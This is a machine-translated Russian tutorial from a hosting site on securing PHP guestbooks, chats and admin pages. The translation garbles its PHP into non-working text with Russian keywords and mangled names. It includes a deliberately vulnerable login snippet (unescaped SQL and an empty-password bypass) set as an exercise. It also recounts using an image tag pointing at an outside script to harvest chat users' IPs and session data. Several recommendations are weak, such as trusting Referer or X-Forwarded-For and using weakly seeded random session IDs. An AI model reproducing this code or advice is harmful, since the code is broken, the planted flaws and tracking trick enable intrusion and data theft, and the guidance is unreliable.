Виртуальный хостингДоговор на хостингКомпьютерная техникаПоддержка сайтовДата Центрдля ВебМастераРегистрация доменовРазмещение серверовАренда серверовхостинг словарь
Создание сайтов
Продвижение сайтов
Баннерная реклама
CMS системы
Новости
|
Как создать безопасные приложения на PHP хостинге
Данная статья не претендует на исчерпывающее руководство по теме "Как сделать так, чтобы меня никто не сломал. Так не бывает. Единственная цель этой статьи - показать мне некоторые методы, используемые для защиты веб-приложений, таких как WWW- чатов, гостевых книг, веб-форумов и других приложений подобного рода.
Первой заповедью веб-программиста, который хочет написать более или менее безопасный веб-приложение должно быть "Никогда не доверяйте данным, разослать Вам пользователей. Сообщества - это по определению таких злоумышленников, которые только и ищет момент, так как если запихать в форме ввода всякую дрянь, таких как PHP, JavaScript, SSI, вызовов своих жутких сценариев хакер, а другие такие страшные вещи. Таким образом, первое, что нужно сделать - это жесточайшим образом отфильтровать все данные, передаваемые по пользователем.
Допустим у нас есть гостевая книга Существуют 3 формы ввода: имя пользователя, его электронной почты и само по себе тело сообщения. Во-первых, ограничить объем передаваемых данных от вступления что-то формы, как:
<input type=text name=username maxlength=20>
О роли этой обороны, конечно, это утверждение не может - единственная цель этого элемента - ограничить пользователя от случайного ввода имени длиннее 20 символов. А чтобы пользователь не соблазн скачать документ вступления формы и правильное MaxLength параметр, установите где-то в начале сценария обработки данных, проверку переменной окружения веб-сервера HTTP-REFERER:
<? Php
Referer $ = getenv ("HTTP_REFERER");
если (! EREG ("^ http://www.myserver.com")) (
Эхо "хакера? хе-хе ... \ п";
выхода;
)
?>
Теперь, если данные не передаются из формы документов на сервер www.myserver.com, hatskeru будет издан деморализующее сообщение. В самом деле, и это тоже не может быть 100% гарантии, что данные действительно перевели из нашего документа. В конце концов, переменная HTTP_REFERER формируется браузером, и никто не может помешать хакеру установить код браузера, или просто Telnet 80 порт и создать свой запрос. Так что такая защита действует только из колодца, необразованного хакеров. Тем не менее, по моим наблюдениям, около 80% из нападавших на данный момент остановиться и не продолжать расти - будь то IQ не позволяет, или просто лень. Лично я только что сделал этот кусок кода в отдельный файл и назовите его из любой точки мира, где это возможно. Время для подачи апелляции переменная принимает немного - но лучше, чем потом сожалеть.
Следующим шагом станет известный жесткой фильтрации передаваемых данных. Прежде всего, давайте не будем доверять переменной в MaxLength форм ввода и ручки редко строки:
Имя пользователя = $ зиЬзЬг ($ имя пользователя, 0,20);
Не позволяйте пользователю использовать пустое поле имени - просто так, чтобы не писать анонимные сообщения:
если (пусто ($ имя пользователя)) (
Эхо "неверное имя пользователя";
выхода;
)
Запретить пользователю использовать его имя любые символы, кроме букв русского и латинского алфавита символов "_" (подчеркивание), пространства и чисел:
если (preg_match ("/[^( \ ш) | (\ x7f-\ XFF) | (\ S )]/",$ имя пользователя)) (
Эхо "неверное имя пользователя";
выхода;
)
Я предпочитаю везде, где нужно что-то более сложное, чем проверить модель в линии или изменить один шаблон на другой, использовать Perl-совместимых регулярных выражений (Perl-совместимых регулярных выражений). То же самое можно сделать с помощью стандартного PHP-shnye EREG () и eregi (). Я не буду приводить здесь эти примеры - это достаточно подробно описаны в руководстве.
В поле ввода адреса электронной почты, чтобы добавить в список разрешенных символов знака "@" и ".", В противном случае пользователь не сможет корректно ввести адрес. Но будет ли удалить русские буквы и пробел:
если (preg_match ("/[^( \ ш) | (\ @) | (\ .)]/",$ usermail)) (
Эхо "недействительным почты";
выхода;
)
Ввод текста поле, мы не будем на таких жестоких репрессий - через все знаки препинания, которые могут быть использованы только ленивый, и поэтому ограничить использование функции nl2br () и htmlspecialchars () - он не дает противнику совать в сообщении текст HTML-тегов. Некоторые люди, наверное, скажут: "но мы все равно очень хочу пользователей _mogli_ вставлять тег. Если сильный зуд это сделать - вы можете сделать некоторые tegozameniteli введите текст, окруженный звездочками будет освещаться bold'om .." Но вы никогда не должны позволять пользователям использовать метки, что означает подключение внешних ресурсов - от тривиального до <img> supernavorochennogo <bgsound>.
Однажды я попросил, чтобы проверить HTML-чат. Первая ошибка, я заметил, только разрешение вставки картинок. Учитывая пару особенностей строения чата, через несколько минут у меня был файл, который точно перечисленных IP-адреса, имена и пароли всех присутствующих в этот момент на чате пользователей. Каким образом? Это очень просто - чат послал теги <img src=http://myserver.com/myscript.pl>, в результате чего браузеры всех пользователей, которые находились в чате, звоните сценарий из множества myscript.pl MyServer . ком. (Были люди не сидят под lynx'om :-)). Сценарий до выдачи местоположение на картинке, стучать мне лог-файл половину переменных окружения - в частности, QUERY_STRING, REMOTE_ADDR и других. Для каждого пользователя. Из приведенных выше результатов.
Поэтому мое мнение - да, разрешение вставки HTML-тегов в чатах, форумах и гостевых книгах - это красиво, но игра не стоит свеч - вряд ли пользователи пойдут к Вам на книгу или в чат, зная, что их IP может стал известен первый хакер угол. И не только IP - возможности javascript'a Я уже не говорю :-)
Для примитивной гостевой книги перечисленных средств будет достаточно, чтобы сделать его более или менее сложным для взлома. Тем не менее, для удобства, книги обычно содержат некоторые возможности для умеренность - по крайней мере, возможность удаления сообщений. Допускается, конечно, узкие (или нет) общественности. Давайте посмотрим, что можно сделать здесь.
Например, вся система модераторам книги также состоит из двух частей - страницы со списком сообщений, где можно отпраздновать удалить сообщение, сценарий и сразу же удаляет сообщение. Мы называем их, соответственно, и admin1.php admin2.php.
Простой и надежный способ аутентификации пользователя - размещение скриптов в каталоге защищенные файлы. Htaccess. Для преодоления такой защиты больше не должна нарушать приложения и веб-сервером. Что несколько сложнее, и, во всяком случае, не укладывается в рамки этой статьи. Однако этот метод не всегда подходит для потребления - это иногда необходимо проводить проверку подлинности с помощью применения.
Первый, самый простой способ - разрешение средствами HTTP - код 401. При виде такого кода возврата, любой стандартный веб-браузер будет выделить в окне авторизации и попросит ввести имя пользователя и пароль. В дальнейшем браузер при получении кода 401 будет пытаться проникнуть в веб-сервер для текущее имя пользователя и пароль realm'a, и только в случае неудачи потребует повторной авторизации. Пример кода для отображения требования для подобного разрешения во всех сборниках, а также учебные пособия:
<? Php
если (! isset ($ PHP_AUTH_USER)) (
Header ("WWW-Authenticate: Основные области = \" Мой Realm \ "");
Header ("HTTP/1.0 401 Unauthorized");
выхода;
)
Поместите этот фрагмент кода в начале скрипта admin1.php. После его выполнения, мы будем иметь два набора переменных $ PHP_AUTH_USER и PHP_AUTH_PW, в которых, соответственно, будет основываться на имя и пароль, введенный пользователем. Они могут, например, чтобы проверить на SQL-базе данных:
*** Внимание !!!***
В следующем фрагменте кода сознательно серьезные ошибки в безопасности. Попробуйте найти его самостоятельно.
<? Php
Sql_statement $ = "выбрать пароль от народов, где имя = '$ PHP_AUTH_USER";
$ Result = MySQL ($ DBName, $ sql_statement);
$ = Rpassword mysql_result ($ результат, 0, "пароль");
Sql_statement $ = "выбрать пароль ($ PHP_AUTH_PW");
$ Result = MySQL ($ DBName, $ sql_statement);
$ = Пароль mysql_result ($ результат, 0);
если ($ пароль! = $ rpassword) (
Header ("HTTP/1.0 401 Auth Required");
Header ("WWW-аутентификации: базовая область = \" Мой Realm \ "");
выхода;
)
Указанные проблемы, кстати, очень распространены среди начинающих программистов и невнимателен. Когда-то я поймал приманки - к счастью, мало повреждений не производится, в дополнение к хакер левой ленте несколько непристойных выражений.
Таким образом, раскрывает секрет: допустим, хакер вводит заведомо несуществующее имя пользователя и пароль для учетной записи. В то же время в результате образец базы переменная $ rpassword принимает пустое значение. Алгоритм шифрования паролей при помощи функции СУБД MySQL Password (), а также, однако, как стандартный алгоритм Unix, при попытке шифрования пустого пароля возвращает нуль. Результат - $ пароль == $ rpassword, условие считается выполненным, и злоумышленник получает доступ к защищенной части приложения. Можно лечить или запрет пустых паролей, либо, на мой взгляд, более правильный путь - вставить следующий код:
<? Php
если (mysql_numrows ($ результат)! = 1) (
Header ("HTTP/1.0 401 Auth Required");
Header ("WWW-аутентификации: базовая область = \" Мой Realm \ "");
выхода;
)
То есть - проверить наличие одного и только одного пользователя в базе данных. Ни больше, ни меньше.
Точно такой же тест на разрешение, чтобы встроить сценарий и admin2.php. Идея заключается в том, если пользователь является хорошим человеком, - он приходит к admin2.php через admin1.php, и, следовательно, уже утвержденную и не повторил вопросы, он не будет - браузер даст секретный пароль. Если нет - ну, тогда спорить не является грехом. Например, дисплей и ту же фразу "хакер? Хе-хе ...".
К сожалению, не всегда можно использовать алгоритм авторизации через код 401 и должны соответствовать ее единственным способом применения. В целом, модель такой авторизации будет следующей:
Пользователь раз проверку подлинности с помощью веб-формы и скрипта, который проверяет имя пользователя и пароль.
Дополнительные сценарии защищенной части приложения каким-то образом проверить, что зарегистрированным пользователем.
Эта модель называется сессионной - после прохождения авторизации открывается так называемая "сессия", в течение которого пользователь имеет доступ к защищенной части системы. Сессия закрыта - доступ закрыт. На этом принципе, в частности, построена большая часть веб-чатов: пользователь может получить доступ в чат только после Войти процедура состоится. Основная сложность данной схемы является то, что все сценарии защищенной части приложения в любом случае должны знать, что пользователь, посылающий данные успешного входа.
Рассмотрим несколько вариантов, как это можно сделать:
После авторизации, защищенной части все сценарии вызываются с определенным типом флаг adminmode = 1. (Не смейтесь - я сам видел).
Ясно, что любой, кто знает флажок adminmode, может создать URL и войти в режим управления. Кроме того - нет возможности отличить одного пользователя от другого.
Сценарий может разрешить каким-либо образом передать имя пользователя другим скриптам. Распространена во многих веб-чат - для того, чтобы сказать, где кто-то сообщение, рядом с формой ввода текста для ввода сообщения, добавил форма типа скрытые, который определяет имя пользователя. Кроме того, небезопасно, потому что хакер фактически может загружать бумагу на диск, а изменения стоимостной форме скрыты. Некоторые из них используют здесь может принести выше HTTP_REFERER тест - но, как я сказал, нет гарантий это не так.
Определение пользователей IP-адрес. В этом случае, после прохождения авторизации, где-нибудь в локальной базе данных (SQL, дБм, да и в TXT-файл) сохраняет текущий пользователь IP, а все скрипты защищенной части посмотреть на переменную REMOTE_ADDR и проверяют адрес в базу данных. Если есть - значит, авторизация была, если нет - "хакером? Хе-хе ..." :-)
Это более надежный способ - не пройти авторизацию и доступ будет только, если из того же IP сидит другой пользователь Логин успешно. Но, учитывая распространенность прокси-серверов и IP-Masquerad'inga - это вполне реально.
Единственный известный мне простой и достаточно надежный способ проверки личности пользователя является авторизация случайными запись. Рассмотрим ее более подробно.
После сценарий аутентификации пользователей, провели проверку подлинности, генерирует случайное число, довольно долго:
mt_srand ((двойной) микропоры () * 1000000);
$ UID = mt_rand (1,1000000);
Этот номер, он:
а) запись в местный список авторизованных пользователей;
б) дает пользователю.
Пользователь при каждом запросе, помимо другой информации (сообщение в чате, или список сообщений в гостевой книге), сервер посылает свой UID. В этом документе с формами ввода будет присутствовать, наряду с другими формами, тег вида:
<input type=hidden name=uid value=1234567890>
Uid форме невидимым для пользователя, но он перешел к сценарию защищенное приложение. Он сослался на его сравнить с UID uid'om хранятся в локальной базе данных и выполняет свои функции, или ... "Хакер? Хе-хе ...".
Единственное, что необходимо сделать в такой организации - периодически чистить локальный список жидкостей и / или сделать пользователю, нажмите "Выход", при нажатии на местных UID удаление пользователя из базы данных на сервере - сессия закрыта.
Некоторые программисты используют в качестве UID не "одноразовые" является динамически генерируемые номер и пароль. Это допустимо, но это "плохой вкус, потому что пароль, как правило, не меняется от сессии к сессии, а значит - хакер сможет открыть самой сессии. Та же модель может быть использована везде, где идентификации пользователей - в чатах, веб-конференций, а также электронных магазинов.
В заключение стоит упомянуть о такой полезной вещи, как ведение журнала. Если каждый из описанных процедур включить возможность добавления событий в лог-файле указанием IP-адреса потенциального злоумышленника - в случае реальной атаки вычислить хакера будет гораздо проще, поскольку хакеры обычно попытаются напасть на усложняющиеся серии. Для определения IP-адреса желательно использовать не только стандартные REMOTE_ADDR переменная, но менее известных HTTP_X_FORWARDED_FOR, которая позволяет определить IP пользователя, кто стоит за прокси-сервером. - Конечно, если прокси это позволяет.
При проведении лог-файлов, вы должны помнить, что доступ к ним должен быть только ты. Лучше всего, если они находятся за пределами дерева каталогов, доступного через WWW. Если нет такой возможности - создайте отдельный каталог для лог-файлы и закрыть доступ с помощью. Htaccess (Запретить все).
Я был бы очень признателен, если кто-то из программистов не разделяет его методов, описанных здесь, чтобы обеспечить безопасность при разработке приложений для веб.
<<Назад на верх Далее>> |